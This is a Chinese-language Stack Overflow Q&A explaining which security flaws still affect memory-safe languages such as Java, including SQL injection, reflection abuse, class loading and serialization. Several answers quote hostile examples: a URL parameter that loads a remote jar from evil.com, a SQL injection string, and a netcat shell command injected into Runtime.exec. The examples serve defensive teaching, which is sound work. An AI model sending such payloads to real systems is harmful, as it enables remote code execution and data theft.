12

我最近刚读完在CERT工作的 Brian Seacord的 C 和 C++ 中的安全编码

总的来说,这是一本很棒的书,我会推荐给任何还没有读过它的程序员。读完后,我突然想到,对于各种类型的安全漏洞(例如漏洞利用代码注入、缓冲区溢出、整数溢出、字符串格式化漏洞等),每一个安全漏洞似乎都归结为一件事:访问不受进程合法分配的缓冲区限制的内存地址的能力。

注入恶意代码或重新路由程序逻辑的能力完全取决于能否访问合法分配的缓冲区之外的内存地址。但在像 Java 这样的语言中,这根本是不可能的。可能发生的最坏情况是程序将以 终止ArrayIndexOutOfBoundsException,从而导致拒绝服务。

那么在 Java 等“安全”语言中是否存在任何安全漏洞,无法进行无效内存访问?(我在这里以 Java 为例,但我真的很想知道任何语言中的安全漏洞,这些漏洞会阻止无效的内存访问。)

4

12 回答 12

8

当然,一本专注于 C/C++ 的书将专注于最常见的漏洞利用。堆栈上的内存技巧等等。

至于具有大量安全警告而没有任何直接内存访问的语言的“明显”示例...... PHP 怎么样?除了通常的 XSS、CSRF 和 SQL 注入之外,由于包含魔法等,您还可以在旧版本的 PHP 上进行远程代码注入。我确定有 Java 示例,但我不是 Java 安全专家...

但是因为确实存在 Java 安全专家,所以我敢肯定有些情况是您必须担心的。(特别是,我确信 SQL 注入也困扰着天真的 Web Java 开发人员)。

编辑:在我脑海中,Java 确实通过 ClassLoader 动态加载类。如果您出于某种原因要编写自定义类加载器,并且您没有验证 .class 文件,那么您将打开您的程序进行代码注入。如果这个自定义类加载器以某种方式从 Internet 读取类,那么也有可能进行远程代码注入。听起来很奇怪,这很常见。考虑 Eclipse 及其插件框架。从字面上看,它会自动加载下载的代码,然后运行它们。我承认,我不了解 Eclipse 的体系结构,但我敢打赌,安全性是 Eclipse 插件开发人员关心的问题。

于 2010-10-13T20:09:17.487 回答
6

注入恶意代码或重新路由程序逻辑的能力完全取决于能否访问合法分配的缓冲区之外的内存地址。

这让我对什么是恶意的,什么不是恶意的持狭隘的看法。例如 SQL 注入(或任何类型的注入)不需要缓冲区溢出,通常会将恶意代码注入您的系统。但是,这当然是可能的;例如,某些托管语言将允许在其托管字符串类的中间使用 NULL 字符。有一些有趣的错误,其中字符串被传递到底层操作系统,其中 API 是 C/C++ 驱动的,因此会在它找到的第一个 \0 处截断字符串,例如,这可能允许您在文件系统中徘徊随意由于截断错误。

然后是糟糕的加密、信息泄漏和各种其他不涉及缓冲区的有趣安全错误......

于 2010-10-13T20:11:26.203 回答
5

是的。这已经发生不止一次 。仅仅因为一种语言很难对内存进行无效访问并不能自动保护您免受攻击。此外,还有整个“社会工程”可以让用户运行恶意程序而不需要任何漏洞利用!

您可以做的最好的事情是使您的软件保持最新,使用减少错误的编程实践,在发现严重错误后立即修复它们,并教育用户。

于 2010-10-13T19:54:15.447 回答
5

这是一个有趣的安全漏洞,在 Java 系统中比在 C++ 系统中更有可能发生争议:

假设一个 Web 框架使用反射从 url 参数中设置对象字段

/update?a=1&b[2]=2&c.x=3&c.y=4

非常方便和强大。它允许遍历任何对象图...

当攻击者向它提供这样的 URL 时

/update?class.classLoader.ucp.urls.elementData[0]=http://evil.com/evil.jar

游戏结束。整个系统都在攻击者的控制之下。

http://seclists.org/fulldisclosure/2010/Jun/456

而且我不认为它只发生在春天。有很多 Java 系统几乎将它们的肚子暴露在开放的世界中。

于 2010-10-13T22:31:19.060 回答
3

来自 Sun 自己的 Java 编程语言安全编码指南,版本 3.0

Java 平台有自己独特的安全挑战。其主要设计考虑之一是为执行移动代码提供安全环境。虽然 Java 安全体系结构可以保护用户和系统免受通过网络下载的恶意程序的侵害,但它无法防御受信任代码中出现的实现错误。此类错误可能会无意中打开安全架构旨在包含的漏洞......

于 2010-10-13T20:05:07.013 回答
2

未经检查的用户输入会导致很多安全漏洞:

 stmt.executeQuery("SELECT * FROM Users where userName='" + userName + "'");

如果userName未经验证,并且来自外部来源,则有人可以轻松地将其用户名提供为"john' or userName != '". 导致表中所有数据的暴露。

Runtime.getRuntime().exec(command);

这里也一样。如果命令未经验证并且来自外部源,聪明的人可以运行说“/bin/sh | nc -l 10000”或类似的命令,获得服务器上的 shell 访问权限。或者注入一个利用本地安全漏洞的 C 源程序command并在服务器上编译和运行它。

于 2010-10-13T20:13:59.650 回答
1

因此,虚拟机实现只是您需要在其中找到漏洞的东西。如果您认为锁定虚拟机实现很容易,请阅读这个关于 Action Script 虚拟机漏洞利用细节的惊人说明,并考虑您是否真的可以永远保证不存在这样的漏洞。

于 2010-10-13T20:11:53.923 回答
1

有大量的安全漏洞可以影响几乎任何语言——一些旧的漏洞,一些新的漏洞。

一个老派利用的例子是创建一个具有不安全权限或在不安全目录中的临时文件 - 导致信息泄漏或攻击者插入他们自己的信息。

SQL 注入漏洞利用也已经存在很长时间(即,将未经验证的文本从用户传递到 sql 解析器)。

XSS 类型的攻击相对较新,并且很容易用任何服务器编程语言创建。

于 2010-10-13T20:12:18.213 回答
1

Java 在内存利用方面比 C++ 更安全(由于语言中内置的显式绑定检查)。这消除了缓冲区溢出漏洞的类别。
但是java并不是完全安全的。
为方便程序员使用语言内置的功能,可用作恶意攻击的一部分。例如,使用反射程序可以找出类变量的值并修改它们(有一些方法可以覆盖安全管理器 - 至少我已经阅读过)。
序列化存在问题(检查 RMI 漏洞),并且有许多 API 程序员使用而不必担心可能会导致严重后果。例如,使用我们程序的类加载器加载“不受信任”的 API?图书馆。

于 2010-10-13T20:33:42.650 回答
1

许多编程安全漏洞可以归类为特定于给定语言或框架的注入攻击。您一直在阅读 C++ 中的注入攻击,用户可以通过缓冲区溢出或字符串格式化漏洞注入代码。如果您将研究扩展到 HTML,您会发现跨站点脚本(JS 代码注入)和 SQL 注入(SQL 查询注入)非常普遍。看一下 PHP,您会注意到命令级别的注入往往是一个常见问题。

最终,每种语言和框架都有其问题。注意他们。当然,无论您使用何种语言、框架或操作系统,业务逻辑安全错误都会继续存在。例如,一个购物车允许以负的总金额购买负数量的商品,这将是一个安全问题,这仅仅是因为编程技能差。

于 2010-10-14T00:32:15.680 回答
0

Java 程序不会凭空运行。它是一个完整的平台,而这个平台的程序员只是犯编程错误的人。虽然您的 Java 代码本身可能是安全的,但您需要平台来运行它,从而打开其他攻击媒介。

于 2010-10-13T20:02:49.673 回答
0

我很失望没有提到这个问题,因为这个问题与 Java 有关,Java 尤其容易受到这种疏忽:

在 java中,对于试图确保其代码安全的软件开发人员来说,可见性是一个关键问题。特别是在我经常运行“外来”代码的可扩展框架的上下文中,重要的是不要过度暴露我认为有效的信息。

如果我公开了一些实际上应该是私有的东西,那么我就引入了一个潜在的漏洞。如果我传递对我正在积极使用的对象的引用而不是防御性副本,我可能会无意中暴露标准用户不应访问的数据。有时您希望用户拥有参考而不是副本,但如果这是一段可以保存一段时间的数据,您将需要考虑制作副本以确保您可以控制来自那一点向前。

允许某人引用我视为不可变的类中的成员数据字段,可能会导致发生有趣或奇怪的行为。在我完成有效性检查并对其进行清理后,可以修改数据。

于 2013-11-01T16:40:00.830 回答